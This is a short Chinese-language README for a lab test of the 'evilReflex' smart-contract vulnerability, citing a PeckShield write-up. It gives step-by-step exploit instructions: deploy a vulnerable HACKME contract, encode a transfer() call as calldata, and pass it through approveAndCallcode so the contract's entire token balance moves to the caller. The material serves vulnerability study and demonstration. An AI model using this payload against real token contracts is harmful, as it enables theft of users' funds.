这是什么？

这是对智能合约中 evilReflex 漏洞的一个简单测试。

如何测试？

步骤 1：编译 evilReflex.sol

步骤 2：部署 HACKME

例如：

Account Address： 0x62ba0a06ffc1d0a706172e1ed755b9b91f53a617
balance: 10090000000000000000000000

Contract address： 0x26336eb6761d7c6ac28251d5e20f63623fc16ad5
balance: 10090000000000000000000000

步骤 3：编码

将 transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,10090000000000000000000000) 编码为类似 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000 的字节码

步骤 4：调用 approveAndCallcode 函数并传递以下参数：

approveAndCallcode(
    0xf8e81D47203A594245E36C48e151709F0C19fBe8,
    0,
    0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000858a3fefb18d88e400000
 )

步骤 5：检查你自己的账户资产，你会发现资产增加了，而合约资产变为零。

参考

https://blog.peckshield.com/2018/06/23/evilReflex/

EvilReflex

最受欢迎